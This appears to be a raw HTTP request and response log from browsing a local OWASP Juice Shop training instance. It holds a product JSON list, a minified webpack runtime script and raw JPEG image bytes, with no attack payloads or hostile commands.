Shop Mug","description":"Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!","price":21.99,"deluxePrice":21.99,"image":"fan_mug.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":15,"name":"OWASP Juice Shop Sticker Page","description":"Massive decoration opportunities with these OWASP Juice Shop or CTF Extension <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker pages</a>! Each page has 16 stickers on it.","price":9.99,"deluxePrice":9.99,"image":"sticker_page.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":16,"name":"OWASP Juice Shop Sticker Single","description":"Super high-quality vinyl <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker single</a> with the OWASP Juice Shop or CTF Extension logo! The ultimate laptop decal!","price":4.99,"deluxePrice":4.99,"image":"sticker_single.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":7,"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"deluxePrice":22.49,"image":"fan_shirt.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":17,"name":"OWASP Juice Shop Temporary Tattoos (16pcs)","description":"Get one of these <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">temporary tattoos</a> to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention <a href=\\"https://twitter.com/owasp_juiceshop\\" target=\\"_blank\\"><code>@owasp_juiceshop</code></a> in your tweet!","price":14.99,"deluxePrice":14.99,"image":"tattoo.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":20,"name":"OWASP Juice Shop-CTF Velcro Patch","description":"4x3.5\\" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!","price":2.92,"deluxePrice":2.92,"image":"velcro-patch.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":9,"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations. <a href=\\"https://www.owasp.org/index.php/O-Saft\\" target=\\"_blank\\">More...</a>","price":0.01,"deluxePrice":0.01,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":36,"name":"OWASP Snakes and Ladders - Mobile Apps","description":"This amazing mobile app security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1970691216\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders_m.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":35,"name":"OWASP Snakes and Ladders - Web Applications","description":"This amazing web application security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1969196030\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":2,"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"deluxePrice":2.49,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":32,"name":"Pwning OWASP Juice Shop","description":"<em>The official Companion Guide</em> by Bj\xc3\xb6rn Kimminich available <a href=\\"https://leanpub.com/juice-shop\\">for free on LeanPub</a> and also <a href=\\"https://pwning.owasp-juice.shop\\">readable online</a>!","price":5.99,"deluxePrice":5.99,"image":"cover_small.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":23,"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"deluxePrice":4.99,"image":"quince.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":4,"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"deluxePrice":4.99,"image":"raspberry_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":29,"name":"Strawberry Juice (500ml)","description":"Sweet & tasty!","price":3.99,"deluxePrice":3.99,"image":"strawberry_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":21,"name":"Woodruff Syrup \\"Forest Master X-Treme\\"","description":"Harvested and manufactured in the Black Forest, Germany. Can cause hyperactive behavior in children. Can cause permanent green tongue when consumed undiluted.","price":6.99,"deluxePrice":6.99,"image":"woodruff_syrup.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null}]}'
GET http://localhost:3000/runtime.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"ce1-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'(()=>{"use strict";var e,v={},g={};function r(e){var a=g[e];if(void 0!==a)return a.exports;var t=g[e]={id:e,loaded:!1,exports:{}};return v[e].call(t.exports,t,t.exports,r),t.loaded=!0,t.exports}r.m=v,r.amdO={},e=[],r.O=(a,t,o,i)=>{if(!t){var n=1/0;for(f=0;f<e.length;f++){for(var[t,o,i]=e[f],u=!0,d=0;d<t.length;d++)(!1&i||n>=i)&&Object.keys(r.O).every(b=>r.O[b](t[d]))?t.splice(d--,1):(u=!1,i<n&&(n=i));if(u){e.splice(f--,1);var s=o();void 0!==s&&(a=s)}}return a}i=i||0;for(var f=e.length;f>0&&e[f-1][2]>i;f--)e[f]=e[f-1];e[f]=[t,o,i]},r.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return r.d(a,{a}),a},(()=>{var a,e=Object.getPrototypeOf?t=>Object.getPrototypeOf(t):t=>t.__proto__;r.t=function(t,o){if(1&o&&(t=this(t)),8&o||"object"==typeof t&&t&&(4&o&&t.__esModule||16&o&&"function"==typeof t.then))return t;var i=Object.create(null);r.r(i);var f={};a=a||[null,e({}),e([]),e(e)];for(var n=2&o&&t;"object"==typeof n&&!~a.indexOf(n);n=e(n))Object.getOwnPropertyNames(n).forEach(u=>f[u]=()=>t[u]);return f.default=()=>t,r.d(i,f),i}})(),r.d=(e,a)=>{for(var t in a)r.o(a,t)&&!r.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:a[t]})},r.f={},r.e=e=>Promise.all(Object.keys(r.f).reduce((a,t)=>(r.f[t](e,a),a),[])),r.u=e=>(592===e?"common":e)+".js",r.miniCssF=e=>{},r.o=(e,a)=>Object.prototype.hasOwnProperty.call(e,a),(()=>{var e={},a="frontend:";r.l=(t,o,i,f)=>{if(e[t])e[t].push(o);else{var n,u;if(void 0!==i)for(var d=document.getElementsByTagName("script"),s=0;s<d.length;s++){var l=d[s];if(l.getAttribute("src")==t||l.getAttribute("data-webpack")==a+i){n=l;break}}n||(u=!0,(n=document.createElement("script")).type="module",n.charset="utf-8",n.timeout=120,r.nc&&n.setAttribute("nonce",r.nc),n.setAttribute("data-webpack",a+i),n.src=r.tu(t)),e[t]=[o];var c=(_,b)=>{n.onerror=n.onload=null,clearTimeout(p);var h=e[t];if(delete e[t],n.parentNode&&n.parentNode.removeChild(n),h&&h.forEach(y=>y(b)),_)return _(b)},p=setTimeout(c.bind(null,void 0,{type:"timeout",target:n}),12e4);n.onerror=c.bind(null,n.onerror),n.onload=c.bind(null,n.onload),u&&document.head.appendChild(n)}}})(),r.r=e=>{typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;r.tt=()=>(void 0===e&&(e={createScriptURL:a=>a},typeof trustedTypes<"u"&&trustedTypes.createPolicy&&(e=trustedTypes.createPolicy("angular#bundler",e))),e)})(),r.tu=e=>r.tt().createScriptURL(e),r.p="",(()=>{var e={666:0};r.f.j=(o,i)=>{var f=r.o(e,o)?e[o]:void 0;if(0!==f)if(f)i.push(f[2]);else if(666!=o){var n=new Promise((l,c)=>f=e[o]=[l,c]);i.push(f[2]=n);var u=r.p+r.u(o),d=new Error;r.l(u,l=>{if(r.o(e,o)&&(0!==(f=e[o])&&(e[o]=void 0),f)){var c=l&&("load"===l.type?"missing":l.type),p=l&&l.target&&l.target.src;d.message="Loading chunk "+o+" failed.\\n("+c+": "+p+")",d.name="ChunkLoadError",d.type=c,d.request=p,f[1](d)}},"chunk-"+o,o)}else e[o]=0},r.O.j=o=>0===e[o];var a=(o,i)=>{var d,s,[f,n,u]=i,l=0;if(f.some(p=>0!==e[p])){for(d in n)r.o(n,d)&&(r.m[d]=n[d]);if(u)var c=u(r)}for(o&&o(i);l<f.length;l++)r.o(e,s=f[l])&&e[s]&&e[s][0](),e[s]=0;return r.O(c)},t=self.webpackChunkfrontend=self.webpackChunkfrontend||[];t.forEach(a.bind(null,0)),t.push=a.bind(null,t.push.bind(t))})()})();'
GET http://localhost:3000/assets/public/images/products/carrot_juice.jpeg HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: image/avif,image/webp,*/* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"4a39-18df12a537a"\r\nContent-Type: image/jpeg\r\nContent-Length: 19001\r\nDate: Tue, 05 Mar 2024 22:31:29 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x04\x03\x02\x02\x03\x04\x05\x04\x04\x04\x04\x04\x05\x06\x05\x05\x05\x05\x05\x05\x06\x06\x07\x07\x08\x07\x07\x06\t\t\n\n\t\t\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x01\x03\x03\x03\x05\x04\x05\t\x06\x06\t\r\n\t\n\r\x0f\x0e\x0e\x0e\x0e\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\xff\xc2\x00\x11\x08\x017\x01\x17\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1e\x00\x01\x00\x01\x04\x03\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x07\x08\t\n\x02\x05\x06\x03\x04\xff\xda\x00\x08\x01\x01\x00\x00\x00\x00\xcfh\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00",\xe6\xf0\xbe\xb2\x00\x98L\x00\x02\x16\x93\x84\x0bq\xda2\xbb\xc8\x02a0\x00\nY\x80{0\xccv[;\xe9\x90\x04\xc2`\x00\x18\xbe\xc5>\xcc\xde\xc9 \x02a0\x00\x0c3\xd2L\xf9H\x00&\x13\x00\x00\xc0\x9dN\xcc\xec\x80\x02a0\x00\x11\xad\xfd\xfce"@\x010\x98\x02<\x07\x92\x11\xae\x16Yof\xa3zd\x80\x13\t\x80F\x03\xf1]\xeb\x82\x9e\xfb\x8f\xd1\xe73\xe7\x94Y\x00&\x13\x00\xb7\xddV\xb6\x9c\xf6\xe1\xa8\x8e\xd5\xb5\x06\xd2\xf5\xf5\xdc/\xee\x00L&\x01\x88\xbb \xcf\xf8x\xddNv\xf4\xfa5P\xd9N\xeb\xe4\x010\x98\x11@5\xc2\xf6\xf7]\x03\xc5cO,P\xc7\xc5\xcel\x1d\xedd\x02a08\xeb\r\xe3j\xa8\x00\xb6\x8c\x9a\xe6\xe6@&\x13\x020\xd3\x83\x90\x00\xfd\x9b1_t\x80L&\x03\x8e\x95\xfbK\xd6p\xc6\x95\x94\xec\x06Y\xde\x0b\xf6\xe6\x99\x00\x98L\x07\x1dD\xf3\xbdw\xa81\x0b\xe0\xf3lc\x8f\x1d\x9bAH\x02a0\x1cut\xc9&E\xf9q\xe2\xc1\xcd_\xcb9\x88\x8aK\xb1$\x80&\x13\x00\xd7N\xb5\xe5\xc7\x9f\xcf\x83^\xcb\xf7\xc8\xe1\x83*\xbb\x9c9\x00L&\x01\x83\x1ai\x9c\x9f\xbf\xc7\xe5:\xcffJ\xf3\x8dw2!\x96i\x00L&\x01\x89\x0b\x00\xd8{\xf4\xfc\xbf<\xea\x8f\xb1\xadl\xea\x7f>\xb6\xb9\xcf\xc8\x14\x80&\x13\x00\xc7v\x13vr\xfd\xbf.\xb7\xc4\xe0\xd7(\x7f\xbb\x8f\x98\xc0&\xd17J\x00L&\x01i\xda\xc7l\x8f\xeczJ\x7f\xd6\xdb\r\xd5\xbc\xcf\x9b\xd7\xdfqZ\x8e\x00L&\x01K4\xf8\xd8r\xb3\xfc\xfc\x8a#\xcfu\x14\xd7\x07\xbbT\xda\xa5+\xaa\x17\xe1X\xe6Ba0\x0e:Yg\x1e\xe2\xbb/\x15\xf7\xfc\xb4\xf6\xdd\xa8\x1d\xba\xf9Z\xebq\xf5B\x97Y\x8d\xfb\xe7o\xb7\x910\x98\x07\x1dE\xf2Mx\\l\x8e\xda\xad\xdb\xb2\xb9\xcb\x96\xb9\n\x95O\xfbo\\\xfc\xf8\xaf\xea\xf6E\xb5\x0b~\xc9\x7f>P\x98\x08\x8d^\x7f/MG\xee\x82\xec\xee\x9f\xda\x87\x0e\xb3\xb6\x18K\xefh\xbf\xcf5y0\xfa\x13\x04E\x97\xe2\x86\xcc.\x8e\xf7\xae{\xe8\x00\x0bo\xc4\xd6\xc1\xd8\xd1\xb2\x9b\xe3\xcf!0\x8b\x1b\xc2\x0b!\xb7e\xf8\xa9\xf5U\x90\x00u\xfa\xf9l\x84\xc7\x1d\x1c\xd8\xd8\x98\xf3Z\xff\x00[fY+\xc8\xfc\x9f\xac\x00\x8f\xc5\xd7u~7_\x8b\xd1\xb9O9NvL\'\x8e\xb0\xd5\x9b%\xbfNc\x8f\x1f\x9f\xcf\xe7\xf0\xf8\xfeo\xcd\xf9\x7f\'\xe2\xfc\\"-\x17\xced\n\xd0m\xdf27\xa9\t\xe1\xaaek\xbcj\x82J&`\x9e4\xee\xa1}G\x1f+\x87\x1d\xa0\xeb\xb2\'\x94\'\x8f\x9c\xc5\xde8\xe8MT\xab\x95B\xa3{\xcfc\xf5\x0e\x9f\xc5T\xd9\x82\x81\xe3#:\xd9\x1e\x910\x98Du6\xd9m6\xff\x00D\xe9\x05/\xf3\xbf\x1fA\xddv\xff\x00\x9b\xb8\xec?\x0f\xe3\xe8<E\xd1f\xde\xea\x92&\x13\x00DL>^\x07\xcd\xf4\x9ek\xaa~\x9fQ\xea*go2\t\x84\xf0\x00\x00\x00\x03\x90\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xc4\x00\x1d\x01\x01\x00\x02\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x04\x06\x02\x03\x07\x08\t\xff\xda\x00\x08\x01\x02\x10\x00\x00\x00\xee\x00\x00\x00\x00\x00\x00\x00\x00\x02$\x00\x01\x9b\x84\x00"Q \x003/\xb2\xb5<p\x02%\x12\x00\x0e\xdd\x8b:\x92\x9f\x88\x00\x89D\x80\x02\xd6\xe3U\xe0\x00\x08\x94H\x00.\xfb\xf5\xd0\x00"Q \x00\xd8z\xa8\xc0\x00\x89D\x80\x03g\xae\xa9\x00\x02%\x12\x03\xb3\x98l\xf4\xf8\x1d\\@\x02%\x12\x06\xc3q\xc49\xf05\xea\x90\x01\x12\x89\x06N\xdfQ\xc4.\xa9\xf8\xf7Xi@\x02%\x12\x0b\x9bz\xe0\x9b\xaaB\xe3T\xc3\x00"Q!\x91\xb3\xf6t\x87,\xac3\'\x03[\xe0\x00\x89D\x86\xd5\x95\xc0\x00v\xd3\xd0\x80"Q!w} \x045j\xf0\x04J$\x1b\xcdG\x00\xca\xc8\xad;\xb3t\xd0\x02%\x12\r\xcf\x0b\xa03y`\x19\\\xb5@\x02%\x12\r\xb3\xaf\x16&V\x1dxfoF\xb4\x00D\xa2A\xb2\xf7aD\xca\xcb\x1b\x18\xb0\xae\xa1\x00"Q \xbf\xcf\xaf\xe1\xcb\x92\xd7\x07\xa0\xb3\xa5\xa7\x00"Q \xb9\xb9\xaa\xe1\xcb\x9a\xe2\xaa\x92\x9f\x1b\xd1\xa9+\x80\x08\x94H,\xb6*\x9e\xae]z>\xab\xe6\xd5\xdcuo\xbcjq\x00\x08\x94H3/>c\xbc\xa9\xd3z\xbb\xbacX\xc2\xfd\x13\xd2\xfa\x80\x08\x94H;\xb7/\xcf\xafCR\x11\xad\xd3\xec\xff\x00zj9}\xddU\xfd\x00D\xa2@\xde~\x08\xca\xb2\xa3\xee\xc7\x8d\xe7\xd0\xbd"\xe3B\xd05\x9d\x9f\xda.\xb5\xf8\x08\x94H\x1b\x97\xc5\xf4\xb6\xd6^\x9f\xe9=^i\xe6\xdeu\xadXua\xcf?\xa8\xbd\xf7X\xcc\xc9\xaaD\xa2@\xda\xbc\x8e\xff\x00h\xf2\xff\x00)\xf2\xeaP\x9e\xde\x92~\xd2\xf5=q\x9bW\x12\x89\x0c\xeb\x8c\x0f\x1b\xf1\xbf6\x88\x00\x0fF\xfa\xdf\xe2\xbfz\xf5m\x8f^\x94I\x9f}\xe6_>\xf9O+\n\xa8\x00\x06G\xe8/\xc2\xcfs\xfa/X\x94O-\x8fE\xf9OD\x1c\xf8\x00\x0e}\xbd\xb6\x9f\xa1~C\xa2X}\x01\xab\xca\'j\xf9\xb7\xe6\xe8\x81)\x9eS<\xf9r\xe7\xcf\x9c\x9e\xc7\xf5%vnM&\x04\xa2v\xaf\x9f|_\\L\x002\xb1Ao\xf6\xfe&8\x89D\xf2\xb6\xb3\xa5\xd1\xf4\xedWZ\xa0\xa5\xe0\x1d\x9d\xf8\x81\xe8_VdV\x04J$NVVO\x7f\x7f*\xfa\xda\xec\x0c>\xac~\x1d\xfd\xf6\x1b-\xb5\x0e "Q \x01\xdb\xcb\x94\xf3G\x0e=0\x02%\x12\x00\x00\x00\x04J$\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xc4\x00\x1c\x01\x01\x00\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x04\x01\x03\x05\x06\x07\x08\xff\xda\x00\x08\x01\x03\x10\x00\x00\x00\xa2\x00\x00\x00\x003\x80\x00\x00\x003\x84\xa2\x00\x01\x9d\x9a\xf0\x00J)D\x00\x0c\xce\xcc\xe9G\x00\tE(\x80\x02V\xb6h\xae\xc0\x01(\xa5\x10\x00o\xddS\x18\x00\tE(\x80\x02\xcc\xaa\xe0\x00\x12\x8aQ\x00\x05\xacW\xc0\x00%\x14\xa2\x00\x0b\x9a\xb4\xe0\x00\x12\x8aQ\x039\xc8Z\xd3\xaf\x18\xc0\x00\x94R\x883kf\xa0\xdd\xaf\x1bki\xc0\x01(\xa5\x10N\xd7\x80\xd4\x1fF\xf9\xfe\x9e\x8f\xb6\xa1\x80\x02QJ \xb1\xcf\xf2\x01\xb7\xe8_8>\x81\xaa\x18\x00J)D\'o\x9d\xce\xc8\xdb\xdb\xf3\xe7c}\\`\x02QJ#7)\xd6\x00\x17\xe7[\x00\x12\x8aQ\x0b6\x00\x01SH\x02QJ!\x9e\x87\x81\xaa\x1d\xce\xa7\x8f:~\xce\x8e\x00\x12\x8aQ\x0c\xde\xf1\\\xf6\x0fG\xbb\xcb\x1d\xbfSO\x00\tE(\x86ny^>c\x87\xaa\xaf\xe7OG\xe8*`\x01(\xa5\x10\\\xf3\xde~Q\x8b\xd8\xf2x\x87\xab\xea\xd7\xc0\x02QJ \xb5\xc8\xf3\x1b!\xad\xee|\xcf0\xf6w4`\x01(\xa5\x10X\xa5\xe3\xf7\xeb\xd4\xfa\x0f\x8b\xb1\xd6\xdf\xd0\xd5\xab\x00\tE(\x83t<=\x88g\xd8\xfdc\xa5s>\x97\xe0\x1cM`\x04\xa2\x94A\xb3\xa9\xedy}/Q\xba\xf5\x0c\xfa;\xbf\x9a9\xf1\x00%\x14\xa2\t\xdf\xfd\x17\xe2c\xd33\xdf\xebr\x7f<R\x9c\xa3\xae,\x04\xa2\x94A\x9e\x87\xe8\x9a\\\xfe\x8e\xad\xf68~o\xcb\xd0\xef\xd8\xbbK\xcdq\xea\xb0%\x14\xa2\x0c\xde\xfb\xce\xfa8\xf2\x9e^\xbfk\xb3\xd8\xbf\xde\xa9\xcb\xc6<7\x88\xa99\xe9\xc4\xa2\x94A\x9b\xbe\xff\x00\x97\xc6\xedw\xbb\xb623f\xa9\x8f\x9by\x8dLi\xccR\x89\x96\xcd\xfd\x1fy\xd4\xe82\x00\x1co\x90\xf9\x9e\xb5\xfd\x95\xe2\x94Y\xdbc\xd1\xfa\xde\xf5\xbe\xff\x00\x97\x00\x03_\xc3\xfc\xab\xa9\xd8\xab\x14\xa3\x9b^\x8b\xdeu2\xc6\xdd`1\x93u\x8b3\xfc\xed\xce\xa9>\xb5X\xa5\x8b\x9fD\xf6\x18\x18\x92R\x94\xe7\xb3f\xdd\xbb\xb7\xc8\xf1?\x13\xd3\xb2u\xe1\x14\xb1\xd0\xfa\x8f\xb9\xe9\x80\x07\xa0\xe0\xc4)\xfc\x0b\xce\xc4f)F[\xb6\xf6}\x0fo\xad\xd4\xe9^\x90[\xec\xf9\xb0\xf3\x7f\x1f\xf3z\xb0%\x14\xa2\xc99\xcaS\x9d\xdb\x96\xaco\xe8GV\xa8V\xe5q\xabk\x04\xa2\x94@\xc83\x94\x8c1\x13\x00\x94S\x88\x00\x00\x00\x19\x8a@\x00\x00\x001\x80\x00\x00\x00\x01\xff\xc4\x00A\x10\x00\x00\x05\x02\x02\x05\x07\t\x07\x03\x05\x01\x00\x00\x00\x00\x01\x02\x03\x04\x05\x00\x06\x11\x12\x07\x13\x14!1\x15\x16 2@AQ\x10\x17"0RSUVa#3BCDTe$%P4E`bq5\xff\xda\x00\x08\x01\x01\x00\x01\x12\x02\xff\x00\x8dL_v\xf42\xc4l\xab\xad\xa9\xc0\x9c\x08\xaa``0\x01\x8a b\x9byM\xdb\xe7\xefH;|\x0cE\xdcm/C\x83\x0b\x83H\x13\x93y\xd1MNL`m\xdb,L\x1c\xac\xe2\xfa\x88\xc6gr`\xeb\x9e\xda\x8f}\x15\n\xc6>E\xc1\x1c\xb9jL\x9a\xce\xdb3.\xd2\x0e=y\'\xa2:\x94p\xf4n\r$MKfA\x88\xf2C!\xdd\x96:.Fa\xce\xcd\x1c\xd5G\x8b\x8e\xf3\x05\xbf\xa2\xb4\x12\xc8\xe2\xe0[hS\x8e\xc0\xd9\xabfh\x91\xbbD\x13l\x82}D{v\x96\x16\xc9o5H?9\xf11\xab\x1a\t\xa5\xc38\x0c\xdfg\x16\xc9 u\xd4+\x18\xf6Q\x8d\xca\xd5\x83T\xda N\t\xff\x00\x80\xd2\xfa\xd8!\x04\x87\xb6\xa2\xeaV\x88\xd1\xc6ZQ\xc7\xbah\t\xff\x00\x82\xd2\xea\xb8\xcaD\xa1\x8f\xdd\xb52\x98h\x81\x1c\x11\x9dq\x87\\\xe8&\x03\xfe\x07JKkn\x8c\x9f\xb7h\x92u\xa2d\xb2\xdb\xef\x15\xefU\xf1\xfbc\x99X\xb6C\x95\xec\x93V\x86\xf6y\xcbn|~:\xb9\xcbn|~:\xb9\xcbn|~:\xb9\xcbn|~:\xb9\xcbn|~:\xaf\x97\xa8\xc8]2\x8e[,G\r\xc4S*J\xe8\xfaZ\x16>\xd8h\x93\xb9vM\\\x1dE\x8e\xa2\x1c\xe5\xb7>?\x1bM\x9e\xb3x\\\xec\xdd\xa2\xe8\xbe\xd7h\xbd\xef\xf7\x8b\xba^&\x11\xc0\xb6f\x80\x8an\x1e&\x8b\x87G\x10E%\x1c\xa8;\xc49\x1a_\xe1O+\x91\xa5\xfe\x14\xf2\xb9\x1a_\xe1O+\x91\xa5\xfe\x14\xf2\xb9\x1ac\xe1O(\xc51\x0cb\x1c\xa2S\x94p1I\x15(\xa1\n\xa2q\xae\x94L\xe1\x98\x87\xe4yp\xde1n\xc0\x03\xbd%\x9d\xb0p\n"\xa2\xac\xdd$;\x8fa^\xeaM\x8f$\xca\x989I2\xe6n\xe3\xb3]R<\x95o\xca\xbd)\xb2\xa8\x9a\x02T\r\x1a\xcc\xd22\x0c\x98\x93p\xbbX\x89f\x8f\x8eg\x14\xd56lP*\x08\xa7\xdd\xd1r\xae\xbd\xcb\x85\xfd\xf2\x86=D\xa5\xa8\x8a\x8cC\x0c5-\x11&\x15x@5\x98\x89vq@\xbb{T\x8c\xa3G\x10\xcf\xcd\x17+\x1f"_\xd2.E\rE0\x18\xa0b\x8eb\x981)\xbb.\x96\xe4uQ\xd1\xb1\x857\xa4\xedaYP\xd1\xab\r\xaa|]\x181$r&8\x0fFE]D{\xf5\xbd\xd3uOI&*\xaa\x9aA\xc5S\x01B\x80\x00\xa0\x05\r\xc0\x1b\x80<\x93\xac92bI\x88\x06\x05n\xb9\x81 \xb2$yN\xd8\x8aXG\x15\x11Of[\xb2\xdc\x17,e\xb6\xd8\x1c?8\x89\xd4\xdc\xdd\xad\xdbr\x1a\xe7\x93+\xed\x9cZ\xa4\x92@\x8a\x08Z\xb7y-\x84]\xa6\x11{b\x8e\xceS\x19o;\x1f\xc0W\x9d\x8f\xe0+\xce\xc7\xf0\x15\xe7c\xf8\n\xf3\xb1\xfc\x05Ii0d#\xdf1\x08mF\xd8\x81\xd0\xd6\xb3\\\x1a\xbbj\xe4\xc9\xebJ\xddR*)y\xd8\xfe\x02\xbc\xec\x7f\x01^v?\x80\xab\x92h\x97\x04\x90\xc8\x95\x9e\xc4c\xa6R*\x9d\x93|\xa7l\xa0\xbb\x07\x8d\x14p\xd1u\xb5\xc0\xa4|\x8b9V\x88\xbe`\xb88l\xb8bE;\x1e\x91]\xac\xe6\xeb\x90"\xa6\xc4\x8c\xc14[\x96\x1a\xdam*\xcfjV\xe1a\x1c|\xe2]\x9b\x99\x0c\xbeo\x8a\xaed2\xf9\xbe*\xb9\x90\xcb\xe6\xf8\xaa\xe6C/\x9b\xe2\xab\x99\x0c\xbeo\x8a\xaed2\xf9\xbe*\xb9\x90\xcb\xe6\xf8\xaa\xe6C/\x9b\xe2\xab\x99\x0c\xbeo\x8a\xaed2\xf9\xbe*\xb9\x90\xcb\xe6\xf8\xaa\xe6C\x1f\x9b\xe2\xaar!\x18u\xd1I\x19V\xb2\xa0\xa93\n\x9a"v\xb6y\x86\x028\xb7\xca\x9a\xe4/c\xd25\x9a\xed\xe3\x81\x9f\x8aKh8\x90\x02A\xaf\xadM3\xaa\xa1\x12H\x82\xa2\x8a\x98\n\x99,;YKn9S<\xc3\x94_\x89L\xe0\xbd\x90\xe5\x14\xcer\x1b\xacA\x10\x1a\xb7\x14*\xb0\x10\xa7)\xb3\x7fB\x80\x08\xf4t\xa2\xaeXFH\xf7\xaa\x